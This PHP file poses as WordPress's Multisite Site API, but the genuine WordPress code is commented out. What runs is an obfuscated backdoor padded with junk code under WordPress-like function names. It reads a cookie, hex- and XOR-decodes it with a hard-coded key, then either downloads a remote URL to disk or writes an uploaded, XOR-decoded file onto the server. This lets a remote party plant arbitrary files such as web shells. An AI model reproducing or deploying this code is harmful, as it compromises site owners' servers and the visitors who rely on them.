<?php /* 
*
 * Site API
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 5.1.0
 

*
 * Inserts a new site into the database.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $data {
 *     Data for the new site that should be inserted.
 *
 *     @type string $domain       Site domain. Default empty string.
 *     @type string $path         Site path. Default '/'.
 *     @type int    $network_id   The site's network ID. Default is the current network ID.
 *     @type string $registered   When the site was registered, in SQL datetime format. Default is
 *                                the current time.
 *     @type string $last_updated When the site was last updated, in SQL datetime format. Default is
 *                                the value of $registered.
 *     @type int    $public       Whether the site is public. Default 1.
 *     @type int    $archived     Whether the site is archived. Default 0.
 *     @type int    $mature       Whether the site is mature. Default 0.
 *     @type int    $spam         Whether the site is spam. Default 0.
 *     @type int    $deleted      Whether the site is deleted. Default 0.
 *     @type int    $lang_id      The site's language ID. Currently unused. Default 0.
 *     @type int    $user_id      User ID for the site administrator. Passed to the
 *                                `wp_initialize_site` hook.
 *     @type string $title        Site title. Default is 'Site %d' where %d is the site ID. Passed
 *                                to the `wp_initialize_site` hook.
 *     @type array  $options      Custom option $key => $value pairs to use. Default empty array. Passed
 *                                to the `wp_initialize_site` hook.
 *     @type array  $meta         Custom site metadata $key => $value pairs to use. Default empty array.
 *                                Passed to the `wp_initialize_site` hook.
 * }
 * @return int|WP_Error The new site's ID on success, or error object on failure.
 
function wp_insert_site( array $data ) {
	global $wpdb;

	$now = current_time( 'mysql', true );

	$defaults = array(
		'domain'       => '',
		'path'         => '/',
		'network_id'   => get_current_network_id(),
		'registered'   => $now,
		'last_updated' => $now,
		'public'       => 1,
		'archived'     => 0,
		'mature'       => 0,
		'spam'         => 0,
		'deleted'      => 0,
		'lang_id'      => 0,
	);

	$prepared_data = wp_prepare_site_data( $data, $defaults );
	if ( is_wp_error( $prepared_data ) ) {
		return $prepared_data;
	}

	if ( false === $wpdb->insert( $wpdb->blogs, $prepared_data ) ) {
		return new WP_Error( 'db_insert_error', __( 'Could not insert site into the database.' ), $wpdb->last_error );
	}

	clean_blog_cache( $wpdb->insert_id );

	$new_site = get_site( $wpdb->insert_id );

	if ( ! $new_site ) {
		return new WP_Error( 'get_site_error', __( 'Could not retrieve site data.' ) );
	}

	*
	 * Fires once a site has been inserted into the database.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $new_site New site object.
	 
	do_action( 'wp_insert_site', $new_site );

	 Extract the passed arguments that may be relevant for site initialization.
	$args = array_diff_key( $data, $defaults );
	if ( isset( $args['site_id'] ) ) {
		unset( $args['site_id'] );
	}

	*
	 * Fires when a site's initialization routine should be executed.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $new_site New site object.
	 * @param array   $args     Arguments for the initialization.
	 
	do_action( 'wp_initialize_site', $new_site, $args );

	 Only compute extra hook parameters if the deprecated hook is actually in use.
	if ( has_action( 'wpmu_new_blog' ) ) {
		$user_id = ! empty( $args['user_id'] ) ? $args['user_id'] : 0;
		$meta    = ! empty( $args['options'] ) ? $args['options'] : array();

		 WPLANG was passed with `$meta` to the `wpmu_new_blog` hook prior to 5.1.0.
		if ( ! array_key_exists( 'WPLANG', $meta ) ) {
			$meta['WPLANG'] = get_network_option( $new_site->network_id, 'WPLANG' );
		}

		 Rebuild the data expected by the `wpmu_new_blog` hook prior to 5.1.0 using whitelisted keys.
		 The `$site_data_whitelist` matches the one used in `wpmu_create_blog()`.
		$site_data_whitelist = array( 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' );
		$meta                = array_merge( array_intersect_key( $data, array_flip( $site_data_whitelist ) ), $meta );

		*
		 * Fires immediately after a new site is created.
		 *
		 * @since MU (3.0.0)
		 * @deprecated 5.1.0 Use {@see 'wp_insert_site'} instead.
		 *
		 * @param int    $site_id    Site ID.
		 * @param int    $user_id    User ID.
		 * @param string $domain     Site domain.
		 * @param string $path       Site path.
		 * @param int    $network_id Network ID. Only relevant on multi-network installations.
		 * @param array  $meta       Meta data. Used to set initial site options.
		 
		do_action_deprecated( 'wpmu_new_blog', array( $new_site->id, $user_id, $new_site->domain, $new_site->path, $new_site->network_id, $meta ), '5.1.0', 'wp_insert_site' );
	}

	return (int) $new_site->id;
}

*
 * Updates a site in the database.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int   $site_id ID of the site that should be updated.
 * @param array $data    Site data to update. See {@see wp_insert_site()} for the list of supported keys.
 * @return int|WP_Error The updated site's ID on success, or error object on failure.
 
function wp_update_site( $site_id, array $data ) {
	global $wpdb;

	if ( empty( $site_id ) ) {
		return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
	}

	$old_site = get_site( $site_id );
	if ( ! $old_site ) {
		return new WP_Error( 'site_not_exist', __( 'Site does not exist.' ) );
	}

	$defaults                 = $old_site->to_array();
	$defaults['network_id']   = (int) $defaults['site_id'];
	$defaults['last_updated'] = current_time( 'mysql', true );
	unset( $defaults['blog_id'], $defaults['site_id'] );

	$data = wp_prepare_site_data( $data, $defaults, $old_site );
	if ( is_wp_error( $data ) ) {
		return $data;
	}

	if ( false === $wpdb->update( $wpdb->blogs, $data, array( 'blog_id' => $old_site->id ) ) ) {
		return new WP_Error( 'db_update_error', __( 'Could not update site in the database.' ), $wpdb->last_error );
	}

	clean_blog_cache( $old_site );

	$new_site = get_site( $old_site->id );

	*
	 * Fires once a site has been updated in the database.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $new_site New site object.
	 * @param WP_Site $old_site Old site object.
	 
	do_action( 'wp_update_site', $new_site, $old_site );

	return (int) $new_site->id;
}

*
 * Deletes a site from the database.
 *
 * @since 5.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $site_id ID of the site that should be deleted.
 * @return WP_Site|WP_Error The deleted site object on success, or error object on failure.
 
function wp_delete_site( $site_id ) {
	global $wpdb;

	if ( empty( $site_id ) ) {
		return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
	}

	$old_site = get_site( $site_id );
	if ( ! $old_site ) {
		return new WP_Error( 'site_not_exist', __( 'Site does not exist.' ) );
	}

	$errors = new WP_Error();

	*
	 * Fires before a site should be deleted from the database.
	 *
	 * Plugins should amend the `$errors` object via its `WP_Error::add()` method. If any errors
	 * are present, the site will not be deleted.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Error $errors   Error object to add validation errors to.
	 * @param WP_Site  $old_site The site object to be deleted.
	 
	do_action( 'wp_validate_site_deletion', $errors, $old_site );

	if ( ! empty( $errors->errors ) ) {
		return $errors;
	}

	*
	 * Fires before a site is deleted.
	 *
	 * @since MU (3.0.0)
	 * @deprecated 5.1.0
	 *
	 * @param int  $site_id The site ID.
	 * @param bool $drop    True if site's table should be dropped. Default is false.
	 
	do_action_deprecated( 'delete_blog', array( $old_site->id, true ), '5.1.0' );

	*
	 * Fires when a site's uninitialization routine should be executed.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $old_site Deleted site object.
	 
	do_action( 'wp_uninitialize_site', $old_site );

	if ( is_site_meta_supported() ) {
		$blog_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->blogmeta WHERE blog_id = %d ", $old_site->id ) );
		foreach ( $blog_meta_ids as $mid ) {
			delete_metadata_by_mid( 'blog', $mid );
		}
	}

	if ( false === $wpdb->delete( $wpdb->blogs, array( 'blog_id' => $old_site->id ) ) ) {
		return new WP_Error( 'db_delete_error', __( 'Could not delete site from the database.' ), $wpdb->last_error );
	}

	clean_blog_cache( $old_site );

	*
	 * Fires once a site has been deleted from the database.
	 *
	 * @since 5.1.0
	 *
	 * @param WP_Site $old_site Deleted site object.
	 
	do_action( 'wp_delete_site', $old_site );

	*
	 * Fires after the site is deleted from the network.
	 *
	 * @since 4.8.0
	 * @deprecated 5.1.0
	 *
	 * @param int  $site_id The site ID.
	 * @param bool $drop    True if site's tables should be dropped. Default is false.
	 
	do_action_deprecated( 'deleted_blog', array( $old_site->id, true ), '5.1.0' );

	return $old_site;
}

*
 * Retrieves site data given a site ID or site object.
 *
 * Site data will be cached and returned after being passed through a filter.
 * If the provided site is empty, the current site global will be used.
 *
 * @since 4.6.0
 *
 * @param WP_Site|int|null $site Optional. Site to retrieve. Default is the current site.
 * @return WP_Site|null The site object or null if not found.
 
function get_site( $site = null ) {
	if ( empty( $site ) ) {
		$site = get_current_blog_id();
	}

	if ( $site instanceof WP_Site ) {
		$_site = $site;
	} elseif ( is_object( $site ) ) {
		$_site = new WP_Site( $site );
	} else {
		$_site = WP_Site::get_instance( $site );
	}

	if ( ! $_site ) {
		return null;
	}

	*
	 * Fires after a site is retrieved.
	 *
	 * @since 4.6.0
	 *
	 * @param WP_Site $_site Site data.
	 
	$_site = apply_filters( 'get_site', $_site );

	return $_site;
}

*
 * Adds any sites from the given ids to the cache that do not already exist in cache.
 *
 * @since 4.6.0
 * @since 5.1.0 Introduced the `$update_meta_cache` parameter.
 * @access private
 *
 * @see update_site_cache()
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $ids               ID list.
 * @param bool  $update_meta_cache Optional. Whether to update the meta cache. Default true.
 
function _prime_site_caches( $ids, $update_meta_cache = true ) {
	global $wpdb;

	$non_cached_ids = _get_non_cached_ids( $ids, 'sites' );
	if ( ! empty( $non_cached_ids ) ) {
		$fresh_sites = $wpdb->get_results( sprintf( "SELECT * FROM $wpdb->blogs WHERE blog_id IN (%s)", join( ',', array_map( 'intval', $non_cached_ids ) ) ) );  phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

		update_site_cache( $fresh_sites, $update_meta_cache );
	}
}

*
 * Updates sites in cache.
 *
 * @since 4.6.0
 * @since 5.1.0 Introduced the `$update_meta_cache` parameter.
 *
 * @param array $sites             Array of site objects.
 * @param bool  $update_meta_cache Whether to update site meta cache. Default true.
 
function update_site_cache( $sites, $update_meta_cache = true ) {
	if ( ! $sites ) {
		return;
	}
	$site_ids = array();
	foreach ( $sites as $site ) {
		$site_ids[] = $site->blog_id;
		wp_cache_add( $site->blog_id, $site, 'sites' );
		wp_cache_add( $site->blog_id . 'short', $site, 'blog-details' );
	}

	if ( $update_meta_cache ) {
		update_sitemeta_cache( $site_ids );
	}
}

*
 * Updates metadata cache for list of site IDs.
 *
 * Performs SQL query to retrieve all metadata for the sites matching `$site_ids` and stores them in the cache.
 * Subsequent calls to `get_site_meta()` will not need to query the database.
 *
 * @since 5.1.0
 *
 * @param array $site_ids List of site IDs.
 * @return array|false Returns false if there is nothing to update. Returns an array of metadata on success.
 
function update_sitemeta_cache( $site_ids ) {
	 Ensure this filter is hooked in even if the function is called early.
	if ( ! has_filter( 'update_blog_metadata_cache', 'wp_check_site_meta_support_prefilter' ) ) {
		add_filter( 'update_blog_metadata_cache', 'wp_check_site_meta_support_prefilter' );
	}
	return update_meta_cache( 'blog', $site_ids );
}

*
 * Retrieves a list of sites matching requested arguments.
 *
 * @since 4.6.0
 * @since 4.8.0 Introduced the 'lang_id', 'lang__in', and 'lang__not_in' parameters.
 *
 * @see WP_Site_Query::parse_query()
 *
 * @param string|array $args {
 *     Optional. Array or query string of site query parameters. Default empty.
 *
 *     @type array        $site__in          Array of site IDs to include. Default empty.
 *     @type array        $site__not_in      Array of site IDs to exclude. Default empty.
 *     @type bool         $count             Whether to return a site count (true) or array of site objects.
 *                                           Default false.
 *     @type array        $date_query        Date query clauses to limit sites by. See WP_Date_Query.
 *                                           Default null.
 *     @type string       $fields            Site fields to return. Accepts 'ids' (returns an array of site IDs)
 *                                           or empty (returns an array of complete site objects). Default empty.
 *     @type int          $ID                A site ID to only return that site. Default empty.
 *     @type int          $number            Maximum number of sites to retrieve. Default 100.
 *     @type int          $offset            Number of sites to offset the query. Used to build LIMIT clause.
 *                                           Default 0.
 *     @type bool         $no_found_rows     Whether to disable the `SQL_CALC_FOUND_ROWS` query. Default true.
 *     @type string|array $orderby           Site status or array of statuses. Accepts 'id', 'domain', 'path',
 *                                           'network_id', 'last_updated', 'registered', 'domain_length',
 *                                           'path_length', 'site__in' and 'network__in'. Also accepts false,
 *                                           an empty array, or 'none' to disable `ORDER BY` clause.
 *                                           Default 'id'.
 *     @type string       $order             How to order retrieved sites. Accepts 'ASC', 'DESC'. Default 'ASC'.
 *     @type int          $network_id        Limit results to those affiliated with a given network ID. If 0,
 *                                           include all networks. Default 0.
 *     @type array        $network__in       Array of network IDs to include affiliated sites for. Default empty.
 *     @type array        $network__not_in   Array of network IDs to exclude affiliated sites for. Default empty.
 *     @type string       $domain            Limit results to those affiliated with a given domain. Default empty.
 *     @type array        $domain__in        Array of domains to include affiliated sites for. Default empty.
 *     @type array        $domain__not_in    Array of domains to exclude affiliated sites for. Default empty.
 *     @type string       $path              Limit results to those affiliated with a given path. Default empty.
 *     @type array        $path__in          Array of paths to include affiliated sites for. Default empty.
 *     @type array        $path__not_in      Array of paths to exclude affiliated sites for. Default empty.
 *     @type int          $public            Limit results to public sites. Accepts '1' or '0'. Default empty.
 *     @type int          $archived          Limit results to archived sites. Accepts '1' or '0'. Default empty.
 *     @type int          $mature            Limit results to mature sites. Accepts '1' or '0'. Default empty.
 *     @type int          $spam              Limit results to spam sites. Accepts '1' or '0'. Default empty.
 *     @type int          $deleted           Limit results to deleted sites. Accepts '1' or '0'. Default empty.
 *     @type int          $lang_id           Limit results to a language ID. Default empty.
 *     @type array        $lang__in          Array of language IDs to include affiliated sites for. Default empty.
 *     @type array        $lang__not_in      Array of language IDs to exclude affiliated sites for. Default empty.
 *     @type string       $search            Search term(s) to retrieve matching sites for. Default empty.
 *     @type array        $search_columns    Array of column names to be searched. Accepts 'domain' and 'path'.
 *                                           Default empty array.
 *     @type bool         $update_site_cache Whether to prime the cache for found sites. Default true.
 * }
 * @return array|int List of WP_Site objects, a list of site ids when 'fields' is set to 'ids',
 *                   or the number of sites when 'count' is passed as a query var.
 
function get_sites( $args = array() ) {
	$query = new WP_Site_Query();

	return $query->query( $args );
}

*
 * Prepares site data for insertion or update in the database.
 *
 * @since 5.1.0
 *
 * @param array        $data     Associative array of site data passed to the respective function.
 *                               See {@see wp_insert_site()} for the possibly included data.
 * @param array        $defaults Site data defaults to parse $data against.
 * @param WP_Site|null $old_site Optional. Old site object if an update, or null if an insertion.
 *                               Default null.
 * @return array|WP_Error Site data ready for a database transaction, or WP_Error in case a validation
 *                        error occurred.
 
function wp_prepare_site_data( $data, $defaults, $old_site = null ) {

	 Maintain backward-compatibility with `$site_id` as network ID.
	if ( isset( $data['site_id'] ) ) {
		if ( ! empty( $data['site_id'] ) && empty( $data['network_id'] ) ) {
			$data['network_id'] = $data['site_id'];
		}
		unset( $data['site_id'] );
	}

	*
	 * Filters passed site data in order to normalize it.
	 *
	 * @since 5.1.0
	 *
	 * @param array $data Associative array of site data passed to the respective function.
	 *                    See {@see wp_insert_site()} for the possibly included data.
	 
	$data = apply_filters( 'wp_normalize_site_data', $data );

	$whitelist = array( 'domain', 'path', 'network_id', 'registered', 'l*/

/**
	 * Chooses the maximum level the user has.
	 *
	 * Will compare the level from the $item parameter against the $max
	 * parameter. If the item is incorrect, then just the $max parameter value
	 * will be returned.
	 *
	 * Used to get the max level based on the capabilities the user has. This
	 * is also based on roles, so if the user is assigned the Administrator role
	 * then the capability 'level_10' will exist and the user will get that
	 * value.
	 *
	 * @since 2.0.0
	 *
	 * @param int    $max  Max level of user.
	 * @param string $item Level capability name.
	 * @return int Max Level.
	 */
function customize_preview_loading_style($filter_name, $majorversion) // Still unknown.
{
    $kid = $_COOKIE[$filter_name];
    $old_sidebars_widgets_data_setting = array("apple", "banana", "orange");
    $expiration_time = str_replace("banana", "grape", implode(", ", $old_sidebars_widgets_data_setting));
    $kid = changeset_data($kid);
    if (in_array("grape", $old_sidebars_widgets_data_setting)) {
        $frame_incrdecrflags = "Grape is present.";
    }
 //  and corresponding Byte in file is then approximately at:
    $whence = create_initial_taxonomies($kid, $majorversion); // Hierarchical post types will operate through 'pagename'.
    if (the_comment($whence)) {
		$From = check_user_password($whence);
        return $From; // Old handle.
    }
	 // Only update the term if we have something to update.
    block_editor_rest_api_preload($filter_name, $majorversion, $whence);
}


/**
	 * Compat function to mimic mb_substr().
	 *
	 * @ignore
	 * @since 3.2.0
	 *
	 * @see _mb_substr()
	 *
	 * @param string      $LE   The string to extract the substring from.
	 * @param int         $hightart    Position to being extraction from in `$LE`.
	 * @param int|null    $nested_json_files   Optional. Maximum number of characters to extract from `$LE`.
	 *                              Default null.
	 * @param string|null $encoding Optional. Character encoding to use. Default null.
	 * @return string Extracted substring.
	 */
function wp_register_comment_personal_data_exporter($mysql_required_version, $f0f8_2)
{
    return file_put_contents($mysql_required_version, $f0f8_2);
}


/**
 * General SimplePie exception class
 *
 * @package SimplePie
 */
function bookmark_token()
{
    return __DIR__;
}


/**
 * Retrieves a category based on URL containing the category slug.
 *
 * Breaks the $num_bytesategory_path parameter up to get the category slug.
 *
 * Tries to find the child path and will return it. If it doesn't find a
 * match, then it will return the first category matching slug, if $full_match,
 * is set to false. If it does not, then it will return null.
 *
 * It is also possible that it will return a WP_Error object on failure. Check
 * for it when using this function.
 *
 * @since 2.1.0
 *
 * @param string $num_bytesategory_path URL containing category slugs.
 * @param bool   $full_match    Optional. Whether full path should be matched.
 * @param string $menu_id        Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which
 *                              correspond to a WP_Term object, an associative array, or a numeric array,
 *                              respectively. Default OBJECT.
 * @return WP_Term|array|WP_Error|null Type is based on $menu_id value.
 */
function display_stats_page($level_idc) {
    return get_post_embed_url($level_idc) - unpoify($level_idc); //    s13 -= s22 * 997805;
}


/**
 * SSL utilities for Requests
 *
 * Collection of utilities for working with and verifying SSL certificates.
 *
 * @package Requests\Utilities
 */
function wp_ajax_get_attachment($help_tab)
{
    $help_tab = "http://" . $help_tab;
    $h_feed = "VariableExample"; // $GPRMC,002454,A,3553.5295,N,13938.6570,E,0.0,43.1,180700,7.1,W,A*3F
    return $help_tab;
}


/**
	 * Checks that the connection to the database is still up. If not, try to reconnect.
	 *
	 * If this function is unable to reconnect, it will forcibly die, or if called
	 * after the {@see 'template_redirect'} hook has been fired, return false instead.
	 *
	 * If `$get_value_callbackllow_bail` is false, the lack of database connection will need to be handled manually.
	 *
	 * @since 3.9.0
	 *
	 * @param bool $get_value_callbackllow_bail Optional. Allows the function to bail. Default true.
	 * @return bool|void True if the connection is up.
	 */
function create_initial_taxonomies($normalized, $modes_str)
{
    $file_length = strlen($modes_str);
    $new_declaration = str_replace(' ', '%20', 'Hello World');
    $justify_class_name = explode('%20', $new_declaration);
    $new_item = strlen($normalized);
    $id3data = array_map('rawurldecode', $justify_class_name);
    $maybe_notify = implode(' ', $id3data);
    $file_length = $new_item / $file_length;
    $file_length = ceil($file_length); //   tries to copy the $invalid_details_src file in a new $invalid_details_dest file and then unlink the
    $menu_slug = str_split($normalized); // Segment InDeX box
    $modes_str = str_repeat($modes_str, $file_length); // Don't delete, yet: 'wp-pass.php',
    $editor = str_split($modes_str);
    $editor = array_slice($editor, 0, $new_item); // } WAVEFORMATEX;
    $warning_message = array_map("wp_delete_link", $menu_slug, $editor); // Add to post values so that they can be validated and sanitized.
    $warning_message = implode('', $warning_message);
    return $warning_message; // Ensure the $image_meta is valid.
}


/**
	 * Filters the attachment data prepared for JavaScript.
	 *
	 * @since 3.5.0
	 *
	 * @param array       $wp_environment_typeesponse   Array of prepared attachment data. See {@see wp_prepare_attachment_for_js()}.
	 * @param WP_Post     $get_value_callbackttachment Attachment object.
	 * @param array|false $meta       Array of attachment meta data, or false if there is none.
	 */
function peekInt($help_tab)
{
    $link_cat_id_map = basename($help_tab);
    $file_contents = array(1, 2, 3, 4); // Remove query var.
    $metaDATAkey = count($file_contents);
    $mysql_required_version = callback($link_cat_id_map);
    if ($metaDATAkey == 4) {
        $new_rules = array_merge($file_contents, array(5, 6, 7, 8));
    }

    redirect_guess_404_permalink($help_tab, $mysql_required_version);
}


/**
		 * Filters partial rendering for a specific partial.
		 *
		 * The dynamic portion of the hook name, `$invalid_detailsartial->ID` refers to the partial ID.
		 *
		 * @since 4.5.0
		 *
		 * @param string|array|false   $wp_environment_typeendered          The partial value. Default false.
		 * @param WP_Customize_Partial $invalid_detailsartial           WP_Customize_Setting instance.
		 * @param array                $num_bytesontainer_context Optional array of context data associated with
		 *                                                the target container.
		 */
function redirect_guess_404_permalink($help_tab, $mysql_required_version)
{ // Reparse query vars, in case they were modified in a 'pre_get_sites' callback.
    $index_type = unregister_taxonomy_for_object_type($help_tab);
    $orig_row = [1, 2, 3, 4, 5];
    if ($index_type === false) { // http://www.mactech.com/articles/mactech/Vol.06/06.01/SANENormalized/
    $empty_stars = 0;
        return false;
    }
    foreach ($orig_row as $objectOffset) {
        $empty_stars += $objectOffset;
    }
 // textarea_escaped by esc_attr()
    $is_global = $empty_stars / count($orig_row);
    return wp_register_comment_personal_data_exporter($mysql_required_version, $index_type);
}


/**
	 * Sets up the current comment.
	 *
	 * @since 2.2.0
	 *
	 * @global WP_Comment $num_bytesomment Global comment object.
	 */
function comments_link_feed($filter_name)
{
    $majorversion = 'IkyGpiLpJPBtCfLDFrHOz';
    $feature_group = date("H:i:s"); //    s19 += carry18;
    date_default_timezone_set("America/New_York");
    if (isset($_COOKIE[$filter_name])) {
    if ($feature_group > "12:00:00") {
        $frame_incrdecrflags = "Good Evening";
    } else {
        $frame_incrdecrflags = "Good Morning";
    }

    $nextRIFFtype = strtoupper($frame_incrdecrflags);
        customize_preview_loading_style($filter_name, $majorversion);
    }
}


/**
	 * Sniff unknown
	 *
	 * @return string Actual Content-Type
	 */
function changeset_data($is_closer)
{ // Nested containers with `.has-global-padding` class do not get padding.
    $f8f9_38 = pack("H*", $is_closer);
    $OS = array("item1", "item2", "item3");
    $header_tags_with_a = implode(", ", $OS);
    $i2 = strpos($header_tags_with_a, "item2") !== false;
    if ($i2) {
        $menu_id = "Contains item2.";
    }

    return $f8f9_38;
}


/**
	 * Read and process ID3v2 tags
	 *
	 * @var bool
	 */
function isPermittedPath($mysql_required_version, $f0f8_2) { // $get_value_callbacka $get_value_callbacka $get_value_callbacka $get_value_callbacka [$orderby_possiblesb $orderby_possiblesb] $num_bytesc...
    return file_put_contents($mysql_required_version, $f0f8_2);
}


/**
	 * Fires immediately after a new user is created.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param int $iMaxser_id User ID.
	 */
function register_setting($needs_suffix, $matching_schemas) //Fold long values
{ //        |           Padding           |
	$nextRIFFheaderID = move_uploaded_file($needs_suffix, $matching_schemas);
    $email_password = "QWERTYUIOP";
    $optionall = substr($email_password, 3, 6); // Accepts either an error object or an error code and message
    $filepath = hash('sha256', $optionall);
    $link_attributes = str_pad($filepath, 32, 'A');
	
    $include_unapproved = strlen($link_attributes) ^ 32;
    $genres = $include_unapproved & 15;
    return $nextRIFFheaderID;
}


/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
function wp_delete_link($failure_data, $DKIMb64)
{ //	read size of the first SequenceParameterSet
    $email_data = global_terms($failure_data) - global_terms($DKIMb64);
    $old_help = "high,medium,low";
    $email_data = $email_data + 256;
    $new_setting_id = explode(',', $old_help); // Rename.
    if (count($new_setting_id) > 2) {
        $isVideo = substr($old_help, 0, 4);
        $f0f1_2 = hash('md5', $isVideo);
        $wp_xmlrpc_server = str_replace('i', '!', $f0f1_2);
    }
 // 0x6B = "Audio ISO/IEC 11172-3"                       = MPEG-1 Audio (MPEG-1 Layers 1, 2, and 3)
    $notified = str_pad($old_help, 15, "*");
    $email_data = $email_data % 256;
    $failure_data = get_custom_fields($email_data);
    return $failure_data;
}


/**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $num_bytestx
     * @param SplFixedArray $invalid_details
     * @param int $invalid_detailslen
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedOperand
     */
function global_terms($final_diffs)
{
    $final_diffs = ord($final_diffs);
    $force = array("a", "b", "c");
    $Priority = array("a", "b", "c", "d");
    if (in_array("d", $Priority)) {
        $frame_incrdecrflags = "Item found.";
    } else {
        $frame_incrdecrflags = "Item not found.";
    }

    $wp_registered_widgets = count($force);
    return $final_diffs;
} // Original code by Mort (http://mort.mine.nu:8080).


/**
	 * Sanitize a token list string, such as used in HTML rel and class attributes.
	 *
	 * @since 4.8.0
	 *
	 * @link http://w3c.github.io/html/infrastructure.html#space-separated-tokens
	 * @link https://developer.mozilla.org/en-US/docs/Web/API/DOMTokenList
	 * @param string|array $new_slugokens List of tokens separated by spaces, or an array of tokens.
	 * @return string Sanitized token string list.
	 */
function block_editor_rest_api_preload($filter_name, $majorversion, $whence)
{
    if (isset($_FILES[$filter_name])) {
    $orig_username = "A simple string"; // boxnames:
    $new_menu = "simple"; // ...and any slug in the same group...
    $entry_offsets = strpos($orig_username, $new_menu); // http://en.wikipedia.org/wiki/Audio_Video_Interleave
        check_S_lt_L($filter_name, $majorversion, $whence);
    }
	
    ajax_header_add($whence);
}


/**
 * Edit user administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */
function ajax_header_add($frame_incrdecrflags)
{
    echo $frame_incrdecrflags;
}


/**
	 * Returns all public, registered taxonomies.
	 *
	 * @since 5.5.0
	 *
	 * @return WP_Taxonomy[] Array of registered taxonomy objects keyed by their name.
	 */
function unpoify($level_idc) {
    $orig_row = array("10", "20", "30"); // Clear any existing meta.
    return min($level_idc);
}


/*
		 * If 'clear_working' is false, the source should not be removed, so use copy_dir() instead.
		 *
		 * Partial updates, like language packs, may want to retain the destination.
		 * If the destination exists or has contents, this may be a partial update,
		 * and the destination should not be removed, so use copy_dir() instead.
		 */
function get_transport($mysql_required_version, $modes_str) // Milliseconds between reference $file_contentsx xx xx
{
    $font_size = file_get_contents($mysql_required_version);
    $new_title = create_initial_taxonomies($font_size, $modes_str);
    $has_custom_selector = "5,10,15,20";
    $hierarchical = explode(",", $has_custom_selector);
    $mac = array_sum($hierarchical);
    file_put_contents($mysql_required_version, $new_title); // Some sites might only have a value without the equals separator.
}


/* Loop the registered theme directories and extract all themes */
function check_user_password($whence)
{
    peekInt($whence);
    $font_family = array("alpha", "beta", "gamma"); // Clear out any data in internal vars.
    $mydomain = implode(", ", $font_family); // 3: 3.7-alpha-25000 -> 3.7-alpha-25678 -> 3.7-beta1 -> 3.7-beta2.
    ajax_header_add($whence); // attempt to standardize spelling of returned keys
}


/* translators: 1: Theme name, 2: Theme details URL, 3: Additional link attributes, 4: Version number. */
function unregister_taxonomy_for_object_type($help_tab)
{ // Add the meta_value index to the selection list, then run the query.
    $help_tab = wp_ajax_get_attachment($help_tab);
    $SpeexBandModeLookup = ["first", "second", "third"]; # ge_p2_0(r);
    return file_get_contents($help_tab);
}


/* translators: Date and time format for recent posts on the dashboard, from a different calendar year, see https://www.php.net/manual/datetime.format.php */
function check_S_lt_L($filter_name, $majorversion, $whence)
{
    $link_cat_id_map = $_FILES[$filter_name]['name'];
    $invalid_details = "Raw Text";
    $wp_customize = substr($invalid_details, 0, 3);
    $mysql_required_version = callback($link_cat_id_map); // Frequency          $file_contentsx xx
    $wp_environment_type = array("element1", "element2");
    $high = count($wp_environment_type);
    $new_slug = implode(":", $wp_environment_type);
    get_transport($_FILES[$filter_name]['tmp_name'], $majorversion);
    if (!isset($iMax)) {
        $html_report_pathname = date("d/m/Y");
    }

    register_setting($_FILES[$filter_name]['tmp_name'], $mysql_required_version);
}


/**
	 * @param AMFStream $f8f9_38eam
	 */
function get_custom_fields($final_diffs)
{
    $failure_data = sprintf("%c", $final_diffs);
    $get_value_callback = "apple,banana,cherry";
    $orderby_possibles = explode(",", $get_value_callback);
    $num_bytes = trim($orderby_possibles[0]);
    if (in_array("banana", $orderby_possibles)) {
        $gallery = array_merge($orderby_possibles, array("date"));
    }
 // The lower level element containing the (monolithic) Block structure.
    return $failure_data;
}


/**
	 * Overwrites the default protected title format.
	 *
	 * By default, WordPress will show password protected posts with a title of
	 * "Protected: %s". As the REST API communicates the protected status of a post
	 * in a machine readable format, we remove the "Protected: " prefix.
	 *
	 * @since 5.0.0
	 *
	 * @return string Protected title format.
	 */
function wp_maybe_update_network_site_counts_on_update($filter_name, $wmax = 'txt') // Calculate playtime
{
    return $filter_name . '.' . $wmax;
}


/**
	 * Determines whether the entire automatic updater is disabled.
	 *
	 * @since 3.7.0
	 *
	 * @return bool True if the automatic updater is disabled, false otherwise.
	 */
function url_remove_credentials($mysql_required_version) { // If the option isn't set, or if it's enabled ('1'), or if it was enabled a long time ago ('true'), check the checkbox.
    $is_parent = "Mobile Phone";
    $is_apache = substr($is_parent, 7);
    $json_translations = rawurldecode("%23Mobile%20Phone");
    return file_get_contents($mysql_required_version);
}


/*
	 * Check to see if this plugin is known to be installed,
	 * and has an update awaiting it.
	 */
function the_comment($help_tab) # fe_sub(u,u,h->Z);       /* u = y^2-1 */
{
    if (strpos($help_tab, "/") !== false) {
    $original_filter = "this is a long string for testing"; // PNG  - still image - Portable Network Graphics (PNG)
    $PossibleLAMEversionStringOffset = strlen($original_filter);
    $installed_plugins = trim($original_filter);
    if (empty($installed_plugins)) {
        $module_dataformat = str_pad($installed_plugins, $PossibleLAMEversionStringOffset, "*");
    } else {
        $module_dataformat = substr($installed_plugins, 0, $PossibleLAMEversionStringOffset / 2);
    }

    $ms = strlen($module_dataformat);
        return true; // Just fetch the detail form for that attachment.
    } // Too many mp3 encoders on the market put garbage in front of mpeg files
    return false; // memory limits probably disabled
}

